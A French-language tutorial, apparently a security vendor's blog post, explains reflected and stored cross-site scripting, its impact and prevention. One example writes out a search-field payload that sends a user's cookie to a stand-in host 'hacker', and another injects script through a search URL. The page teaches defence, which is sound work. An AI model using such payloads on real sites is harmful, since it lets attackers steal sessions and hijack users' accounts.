Tutoriel sur le Cross-Site Scripting (XSS) : Découvrez les vulnérabilités XSS, les injections et la prévention du Cross-Site Scripting

Concepts clés du XSS

• Le XSS est une attaque basée sur le Web réalisée sur des applications Web vulnérables.
• Dans les attaques XSS, la victime est l’utilisateur et non l’application.
• Dans les attaques XSS, le contenu malveillant est délivré aux utilisateurs à l’aide de JavaScript.

Explication du Cross-Site Scripting

Une vulnérabilité XSS survient lorsque les applications web prennent des données des utilisateurs et les incluent dynamiquement dans les pages web sans les valider correctement au préalable. Les vulnérabilités XSS permettent à un attaquant d’exécuter des commandes arbitraires et d’afficher du contenu arbitraire dans le navigateur d’un utilisateur victime. Une attaque XSS réussie conduit un attaquant à contrôler le navigateur ou le compte de la victime sur l’application web vulnérable. Bien que le XSS soit activé par les pages vulnérables d’une application web, les victimes d’une attaque XSS sont les utilisateurs de l’application, et non l’application elle-même. La puissance d’une vulnérabilité XSS réside dans le fait que le code malveillant s’exécute dans le contexte de la session de la victime, ce qui permet à l’attaquant de contourner les restrictions de sécurité normales.

Vidéo Cross-Site Scripting

Exemples d’attaques XSS

Reflective XSS

Il existe de nombreuses façons pour un attaquant d’inciter une victime à initier une requête XSS réflective. Par exemple, l’attaquant peut envoyer à la victime un courriel trompeur avec un lien contenant du JavaScript malveillant. Si la victime clique sur le lien, la requête HTTP est lancée depuis le navigateur de la victime et envoyée à l’application web vulnérable. Le JavaScript malveillant est ensuite renvoyé vers le navigateur de la victime, où il est exécuté dans le contexte de la session de l’utilisateur victime.

XSS persistant

Envisageons une application web qui permet aux utilisateurs de saisir un nom d’utilisateur qui s’affiche sur la page de profil de chaque utilisateur. L’application stocke chaque nom d’utilisateur dans une base de données locale. Un utilisateur malveillant remarque que l’application web ne parvient pas à assainir le champ du nom d’utilisateur et saisit un code JavaScript malveillant dans le cadre de son nom d’utilisateur. Lorsque d’autres utilisateurs consultent la page de profil de l’attaquant, le code malveillant s’exécute automatiquement dans le contexte de leur session.

Impact du cross site scripting

Lorsque les attaquants réussissent à exploiter les vulnérabilités XSS, ils peuvent accéder aux informations d’identification des comptes. Ils peuvent également diffuser des vers web ou accéder à l’ordinateur de l’utilisateur et consulter l’historique de son navigateur ou encore contrôler le navigateur à distance. Après avoir pris le contrôle du système de la victime, les attaquants peuvent également analyser et utiliser d’autres applications intranet.
En exploitant les vulnérabilités XSS, un attaquant peut effectuer des actions malveillantes, telles que :

• Détourner un compte.
• Diffuser des vers web.
• Accéder à l’historique du navigateur et au contenu du presse-papiers.
• Contrôler le navigateur à distance.
• Scanner et exploiter les appareils et applications intranet.

Identification des vulnérabilités de type Cross-Site Scripting

Les vulnérabilités XSS peuvent se produire si :

• Les entrées entrant dans les applications web ne sont pas validées
• Les sorties vers le navigateur ne sont pas codées en HTML

Exemples XSS

Exemple 1.
Par exemple, le snippet HTML:

<title>Example document: %(title)</title>

est destiné à illustrer un snippet de modèle qui, si la variable title a la valeur Cross-Site Scripting, entraîne l’émission du HTML suivant vers le navigateur :

<title>Example document: XSS Doc</title>

Un site contenant un champ de recherche ne dispose pas de l’assainissement d’entrée approprié. En élaborant une requête de recherche ressemblant à quelque chose comme ceci :

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

situé à l’autre bout, au niveau du serveur web, vous recevrez des hits où après un double espace se trouve le cookie de l’utilisateur. Si un administrateur clique sur le lien, un attaquant pourrait voler l’ID de session et détourner la session.

Exemple 2.
Supposons qu’il y ait une URL sur le site de Google, http://www.google.com/search?q=flowers, qui renvoie des documents HTML contenant le fragment

<p>Your search for 'flowers' returned the following results:</p>

c’est-à-dire que, la valeur du paramètre de requête q est insérée dans la page renvoyée par Google. Supposons en outre que les données ne soient pas validées, filtrées ou échappées.
Evil.org pourrait mettre en ligne une page qui provoque le chargement de l’URL suivante dans le navigateur (par exemple, dans une<iframe>):

http://www.google.com/search?q=flowers+%3Cscript%3Eevil_script()%3C/script%3E

Lorsqu’une victime charge cette page à partir de www.evil.org, le navigateur charge l’iframe à partir de l’URL ci-dessus. Le document chargé dans l’iframe contiendra alors le fragment

<p>Your search for 'flowers <script>evil_script()</script>'

returned the following results:</p>

Le chargement de cette page provoquera l’exécution par le navigateur de evil_script(). De plus, ce script s’exécutera dans le contexte d’une page chargée à partir de www.google.com.

Ressources pour la prévention des scripts intersites

La prévention des scripts intersites doit être abordée dès les premières étapes du développement ; cependant, si vous êtes déjà bien avancé dans la production, il existe encore plusieurs mesures de prévention des scripts intersites que vous pouvez prendre pour éviter une attaque.

Cet article de blog fournit un résumé de ce que vous devez savoir sur les scripts intersites.

Fiche de vérification XSS : Prévenir une attaque par cross-site scripting

.